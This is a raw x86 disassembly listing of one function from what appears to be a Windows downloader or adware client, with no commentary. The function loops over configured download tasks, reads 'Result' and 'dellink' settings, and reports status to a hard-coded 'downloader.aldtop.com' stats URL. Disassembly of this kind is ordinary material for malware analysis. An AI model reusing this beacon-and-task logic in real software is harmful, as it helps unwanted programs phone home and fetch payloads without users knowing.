mov byte [ebp - 4], 0x44
call fcn.0045ad90
push str.Unchecked
push str.uncheck
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x45
call fcn.0045ae20
push str.Error
push str.error
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x46
call fcn.0045aeb0
push str.Repeat
push str.repeat
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x47
call fcn.0045af40
mov byte [ebp - 4], 0x48
push str.Success
push str.ok
lea ecx, [ebp - 0x40]
call fcn.0045afd0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x6e8]
call fcn.00456560
lea ecx, [ebp - 0x578]
push dword [eax + 4]
push dword [eax]
call fcn.004565a0
push fcn.00454d40
push 6
push 0x30
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 0x4b
push eax
call fcn.00497f8c
push 4
lea ecx, [ebp - 0x42c]
call fcn.00402fb0
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x578]
call fcn.00456590
push 4
lea ecx, [ebp - 0x424]
call fcn.00402fb0
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x578]
call fcn.00456580
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00407040
test al, al
je 0x453a28
nop dword [eax]
lea ecx, [ebp - 0x42c]
call fcn.00402df0
push eax
lea ecx, [ebp - 0x558]
call fcn.00454de0
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0x4c
call fcn.0040f960
mov edx, eax
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
lea ecx, [ebp - 0x540]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x4d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x4e
call fcn.00406750
lea eax, [ebp - 0x44c]
mov byte [ebp - 4], 0x4f
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.0045c9f0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x4c
call fcn.00407270
push 4
lea ecx, [ebp - 0x430]
call fcn.00402fb0
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00457270
push 4
lea ecx, [ebp - 0x428]
call fcn.00402fb0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00457250
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x430]
call fcn.00407040
test al, al
je 0x4539f4
nop
lea ecx, [ebp - 0x430]
call fcn.00402df0
mov edi, eax
mov ecx, edi
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x50
call fcn.00405f80
push eax
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x51
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x52
call fcn.00406750
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 0x53
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x6bc]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x4c
call fcn.00407270
test bl, bl
je 0x4539cf
mov ecx, edi
call fcn.00405f80
mov edx, eax
lea ecx, [ebp - 0x690]
call fcn.0040d990
mov edx, 0x590a54
mov ecx, eax
call fcn.0040dcf0
lea ecx, [ebp - 0x430]
call fcn.00457240
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x430]
call fcn.00407040
test al, al
jne 0x4538d0
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0x4b
call fcn.00454d40
lea ecx, [ebp - 0x42c]
call fcn.00407120
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00407040
test al, al
jne 0x4537a0
xor ebx, ebx
lea ecx, [ebp - 0x494]
push str.Tasks
mov dword [ebp - 0x430], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x54
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x55
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
lea ecx, [ebp - 0x448]
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x4b
call fcn.00407270
test edi, edi
jle 0x453fb9
nop dword [eax]
nop word [eax + eax]
push str.Tasks
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x56
call fcn.00406750
push ebx
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0x57
push eax
lea eax, [ebp - 0x6bc]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x5a
call fcn.00407270
sub esp, 0x18
mov ecx, esp
push 0x58f08c
call fcn.00406750
push 1
lea eax, [ebp - 0x528]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.0045d030
push str.dellink
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5b
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5c
push eax
lea ecx, [ebp - 0x4a8]
call fcn.00437e40
test al, al
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x6bc]
sete bl
call fcn.00407270
test bl, bl
jne 0x453f20
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x5d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5e
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x430]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x63
call fcn.00407270
push str.Success
lea ecx, [ebp - 0x494]
call fcn.00406750
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x448]
mov ebx, dword [ebp - 0x6d8]
or ebx, 1
push str.Result
mov dword [ebp - 0x42c], ebx
mov edi, ebx
call fcn.00406750
mov dword [ebp - 4], 0x165
lea ecx, [ebp - 0x510]
or ebx, 2
push str.Config
mov dword [ebp - 0x42c], ebx
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov dword [ebp - 4], 0x166
push eax
lea eax, [ebp - 0x494]
mov ebx, edi
push eax
lea eax, [ebp - 0x448]
or ebx, 6
push eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0x42c], ebx
push eax
mov ecx, 0x5ba9b8
mov edi, ebx
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437e40
test al, al
je 0x453dbd
lea ecx, [ebp - 0x4f8]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
mov dword [ebp - 4], 0x167
lea ecx, [ebp - 0x4c8]
or ebx, 8
push str.Success
mov dword [ebp - 0x42c], ebx
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x168
or eax, 0x18
lea ecx, [ebp - 0x540]
push str.Result
mov dword [ebp - 0x42c], eax
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x169
or eax, 0x38
lea ecx, [ebp - 0x4e0]
push str.Config
mov dword [ebp - 0x42c], eax
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0x16a
push eax
lea eax, [ebp - 0x4c8]
mov ebx, edi
push eax
lea eax, [ebp - 0x540]
or ebx, 0x78
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x42c], ebx
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
mov byte [ebp - 0x6a1], 1
cmp al, 1
je 0x453dc4
mov byte [ebp - 0x6a1], 0
test bl, 0x40
je 0x453dd7
lea ecx, [ebp - 0x4e0]
and ebx, 0xffffffbf
call fcn.00407270
test bl, 0x20
je 0x453dea
lea ecx, [ebp - 0x540]
and ebx, 0xffffffdf
call fcn.00407270
test bl, 0x10
je 0x453dfd
lea ecx, [ebp - 0x4c8]
and ebx, 0xffffffef
call fcn.00407270
test bl, 8
je 0x453e10
lea ecx, [ebp - 0x47c]
and ebx, 0xfffffff7
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
mov dword [ebp - 4], 0x163
lea ecx, [ebp - 0x494]
and ebx, 0xfffffff8
mov dword [ebp - 0x6d8], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x453f15
push str.dellink
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x6b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x6c
call fcn.00406750
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x6d
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x430]
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x71
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.0040f960
push eax
mov ecx, esi
call fcn.00456270
lea ecx, [ebp - 0x47c]
call fcn.00407320
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x4b
call fcn.00407520
mov ebx, dword [ebp - 0x430]
lea ecx, [ebp - 0x494]
inc ebx
push str.Tasks
mov dword [ebp - 0x430], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x54
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x55
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
lea ecx, [ebp - 0x448]
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x4b
call fcn.00407270
cmp ebx, edi
jl 0x453ab0
push str.Result
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x72
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 0x73
mov ecx, esp
mov dword [ebp - 0x6d8], esp
push 0x58f08c
call fcn.00406750
push 1
lea eax, [ebp - 0x5f0]
mov byte [ebp - 4], 0x74
push eax
lea eax, [ebp - 0x464]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
mov byte [ebp - 4], 0x73
call fcn.0045d030
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x77
call fcn.00407270
mov edx, 0x1869f
mov ecx, 0x2710
call fcn.00417670
push eax
push dword [esi + 0x5fc]
mov ecx, esi
call fcn.00446390
push eax
push ecx
mov edx, str.userev
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.004572a0
push ecx
mov edx, str.sdsoft
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.004572a0
push ecx
mov edx, str.rnd
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.0040c030
lea eax, [ebp - 0x6d4]
push eax
lea ecx, [ebp - 0x6a0]
call fcn.0040be80
mov ecx, eax
mov byte [ebp - 4], 0x78
call fcn.0040f960
push eax
push str.http:__downloader.aldtop.com_client_stat
push esi
call fcn.004458a0
add esp, 0xc
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x77
call fcn.00407320
push 4
push str.General
mov ecx, esi
mov dword [esi + 0x630], 5
call fcn.0043b1e0
test eax, eax
je 0x454118
cmp dword [0x5ba978], 0
je 0x454118
mov eax, dword [esi + 0xacc]
push 0
call eax
lea ecx, [ebp - 0x5f0]
call fcn.00407270
lea ecx, [ebp - 0x578]
call fcn.00454e40
lea ecx, [ebp - 0x6a0]
call fcn.004107e0
lea ecx, [ebp - 0x5d8]
call fcn.00407320
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497cb0
mov esp, ebp
pop ebp
ret 8